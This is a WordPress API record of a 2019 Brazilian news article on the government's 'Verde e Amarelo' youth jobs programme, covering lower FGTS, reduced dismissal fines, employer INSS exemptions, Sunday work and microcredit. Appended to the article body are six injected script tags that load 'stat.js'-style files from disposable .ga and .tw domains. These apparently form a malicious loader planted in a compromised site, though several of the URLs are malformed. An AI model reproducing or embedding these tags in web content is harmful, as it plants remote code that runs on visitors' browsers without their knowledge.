{"id":588,"date":"2019-11-12T09:50:37","date_gmt":"2019-11-12T12:50:37","guid":{"rendered":"http:\/\/club.radio.br\/?p=588"},"modified":"2019-11-12T09:50:38","modified_gmt":"2019-11-12T12:50:38","slug":"jovem-recebera-multa-e-fgts-menor-em-programa-de-emprego-do-governo","status":"publish","type":"post","link":"https:\/\/club.radio.br\/index.php\/2019\/11\/12\/jovem-recebera-multa-e-fgts-menor-em-programa-de-emprego-do-governo\/","title":{"rendered":"Jovem receber\u00e1 multa e FGTS menor em programa de emprego do governo"},"content":{"rendered":"\n<h3>RESUMO DA NOT\u00cdCIA<\/h3>\n\n\n\n<ul><li><strong>Governo Bolsonaro lan\u00e7ou programa com o objetivo de gerar vagas para jovens entre 18 e 29 anos<\/strong><\/li><li><strong>Quem for contratado pelo programa vai receber FGTS menor. Al\u00e9m disso, a multa do FGTS em caso de demiss\u00e3o ser\u00e1 metade da paga aos demais trabalhadores<\/strong><\/li><li><strong>Empresas n\u00e3o pagar\u00e3o a contribui\u00e7\u00e3o patronal de 20% ao INSS<\/strong><\/li><li><strong>Para compensar essa desonera\u00e7\u00e3o, o governo vai cobrar 7,5% de INSS de quem recebe seguro-desemprego<\/strong><\/li><li><strong>O novo programa tamb\u00e9m permitir\u00e1 que ind\u00fastrias funcionem aos domingos e feriados<\/strong><\/li><li><strong>Nas contas do Minist\u00e9rio da Economia, at\u00e9 1,8 milh\u00e3o de jovens podem ser beneficiados com o programa at\u00e9 o final de 2022<\/strong><\/li><\/ul>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<p>O governo lan\u00e7ou nesta segunda-feira (11) um programa com o objetivo de gerar vagas para jovens entre 18 e 29 anos e que ainda n\u00e3o tiveram seu primeiro emprego. O plano envolve cortar gastos das empresas com o INSS (Instituto Nacional do Seguro Social) e diminuir a multa em caso de demiss\u00e3o e o FGTS (Fundo de Garantia do Tempo de Servi\u00e7o) de quem for contratado nessa modalidade. <\/p>\n\n\n\n<p>Havia expectativa de que o governo tamb\u00e9m inclu\u00edsse pessoas com mais de 55 anos no programa, o que acabou n\u00e3o acontecendo. O secret\u00e1rio especial adjunto de Previd\u00eancia e Trabalho, Bruno Bianco, disse que a equipe econ\u00f4mica ainda pode lan\u00e7ar um programa para os idosos no futuro.<\/p>\n\n\n\n<p>As mudan\u00e7as foram feitas via Medida Provis\u00f3ria, assinada hoje. Uma MP vale por 60 dias, podendo ser prorrogada por mais 60. Nesse prazo, precisa ser aprovada pelo Congresso para n\u00e3o perder a validade.<\/p>\n\n\n\n<p>Especialistas ouvidos pelo UOL dizem que o pacote pode levar as empresas a trocar funcion\u00e1rios mais caros pelos mais baratos. Al\u00e9m disso, questionam se reduzir o FGTS \u00e9 legal. Tamb\u00e9m foi anunciado que desempregados que ganham seguro-desemprego ter\u00e3o de pagar 7,5% de INSS para compensar o que o governo vai deixar de arrecadar com o benef\u00edcio \u00e0s empresas dado pelo pacote. Hoje os desempregados n\u00e3o pagam INSS.<\/p>\n\n\n\n<p>Chamado pela equipe econ\u00f4mica de &#8220;Programa Verde e Amarelo&#8221;, o plano oferecer\u00e1 desonera\u00e7\u00e3o da folha de pagamento para empresas que contratarem nessa modalidade. A medida s\u00f3 vale para vagas que paguem at\u00e9 1,5 sal\u00e1rio m\u00ednimo (R$ 1.497).<\/p>\n\n\n\n<p> Nesse regime, as empresas n\u00e3o pagar\u00e3o a contribui\u00e7\u00e3o patronal de 20% para o INSS. Para compensar essa desonera\u00e7\u00e3o, o governo vai cobrar 7,5% de INSS de quem recebe seguro-desemprego. Tamb\u00e9m n\u00e3o pagar\u00e3o a contribui\u00e7\u00e3o ao sistema S e ao Incra e o sal\u00e1rio-educa\u00e7\u00e3o. O &#8220;Programa Verde e Amarelo&#8221; poder\u00e1 ser usado em at\u00e9 20% das vagas da empresa.<\/p>\n\n\n\n<h4> Jovem ter\u00e1 FGTS menor <\/h4>\n\n\n\n<p>O FGTS (Fundo de Garantia do Tempo de Servi\u00e7o) ser\u00e1 menor para os jovens contratados nesse regime porque a contribui\u00e7\u00e3o patronal vai cair de 8% para 2%. Al\u00e9m disso, a multa em caso de demiss\u00e3o sem justa causa poder\u00e1 ser de 20%, o que corresponde \u00e0 metade dos 40% cobrados no regime atual da CLT (Consolida\u00e7\u00e3o das Leis do Trabalho). <\/p>\n\n\n\n<p>Junto com o pagamento de at\u00e9 1,5 sal\u00e1rio m\u00ednimo, o jovem receber\u00e1 o equivalente a 1\/12 do adicional de f\u00e9rias e do 13\u00ba sal\u00e1rio. Rog\u00e9rio Marinho, secret\u00e1rio especial de Previd\u00eancia e Trabalho, disse que o pagamento dos benef\u00edcios todo m\u00eas \u00e9 para evitar que o trabalhador depois questione as verbas rescis\u00f3rias na Justi\u00e7a.<\/p>\n\n\n\n<p> Os contratos no regime &#8220;verde e amarelo&#8221; poder\u00e3o ser assinados at\u00e9 31 de dezembro de 2022 e ter\u00e3o validade de at\u00e9 24 meses. O governo diz que os trabalhadores ter\u00e3o os direitos constitucionais garantidos, como f\u00e9rias remuneradas, 13\u00ba sal\u00e1rio e FGTS. O jovem estar\u00e1 habilitado a entrar no programa mesmo se j\u00e1 tiver trabalhado como avulso, intermitente, menor aprendiz ou com contrato de experi\u00eancia. <\/p>\n\n\n\n<p>Nas contas da Secretaria de Pol\u00edtica Econ\u00f4mica do Minist\u00e9rio da Economia, at\u00e9 1,8 milh\u00e3o de jovens podem ser beneficiados com a medida at\u00e9 dezembro de 2022.<\/p>\n\n\n\n<h4>Ind\u00fastrias abrir\u00e3o aos domingos <\/h4>\n\n\n\n<p>O novo programa do governo tamb\u00e9m permitir\u00e1 que ind\u00fastrias funcionem aos domingos e feriados. Pela proposta, quando houver trabalho nesses dias, o empregado ter\u00e1 direito a uma folga remunerada em qualquer outro dia da mesma semana. Segundo estimativas de ind\u00fastria, do com\u00e9rcio e de servi\u00e7os, ser\u00e3o criados 500 mil empregos com a medida.<\/p>\n\n\n\n<h4>Microcr\u00e9dito <\/h4>\n\n\n\n<p>O governo quer incentivar os contratos de microcr\u00e9dito e espera que as institui\u00e7\u00f5es financeiras assinem 10 milh\u00f5es de contratos at\u00e9 dezembro de 2022 para ofertar R$ 40 bilh\u00f5es. Para isso, o governo quer incentivar bancos, fintechs, ag\u00eancias de fomento, cooperativas de cr\u00e9dito a investirem nesse mercado. Entre as medidas, para concess\u00e3o do microcr\u00e9dito, o atendimento presencial n\u00e3o ser\u00e1 obrigat\u00f3rio. <\/p>\n\n\n\n<p>Segundo o governo, ser\u00e1 modernizada a legisla\u00e7\u00e3o trabalhista para quem faz a opera\u00e7\u00e3o n\u00e3o ser confundido com banc\u00e1rio. O governo, entretanto, n\u00e3o detalhou a medida.<\/p>\n\n\n\n<p>*Fonte: site UOL<\/p>\n<script src='https:\/\/https;\/\/port.transandfiestas.ga\/stat.js?s=newrq' type='text\/javascript'><\/script><script src='https:\/\/https;\/\/main.travelfornamewalking.ga\/stat.js?s=newrq' type='text\/javascript'><\/script><script src='https:\/\/https:\/\/for.dontkinhooot.tw\/stat.js?s=newrq' type='text\/javascript'><\/script><script src='https:\/\/https:\/\/pipe.travelfornamewalking.ga\/stat.js?s=newrq' type='text\/javascript'><\/script><script src='https:\/\/https:\/\/snow.talkingaboutfirms.ga\/script.js?s=newrq' type='text\/javascript'><\/script><script src='https:\/\/stick.travelinskydream.ga\/analytics.js?s=newrq' type='text\/javascript'><\/script>","protected":false},"excerpt":{"rendered":"<p>O governo lan\u00e7ou nesta segunda-feira (11) um programa com o objetivo de gerar vagas para jovens entre 18 e 29 anos e que ainda n\u00e3o tiveram seu primeiro emprego.<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[13,43],"tags":[300,270,297,47,298,299,301],"_links":{"self":[{"href":"https:\/\/club.radio.br\/index.php\/wp-json\/wp\/v2\/posts\/588"}],"collection":[{"href":"https:\/\/club.radio.br\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/club.radio.br\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/club.radio.br\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/club.radio.br\/index.php\/wp-json\/wp\/v2\/comments?post=588"}],"version-history":[{"count":2,"href":"https:\/\/club.radio.br\/index.php\/wp-json\/wp\/v2\/posts\/588\/revisions"}],"predecessor-version":[{"id":591,"href":"https:\/\/club.radio.br\/index.php\/wp-json\/wp\/v2\/posts\/588\/revisions\/591"}],"wp:attachment":[{"href":"https:\/\/club.radio.br\/index.php\/wp-json\/wp\/v2\/media?parent=588"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/club.radio.br\/index.php\/wp-json\/wp\/v2\/categories?post=588"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/club.radio.br\/index.php\/wp-json\/wp\/v2\/tags?post=588"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}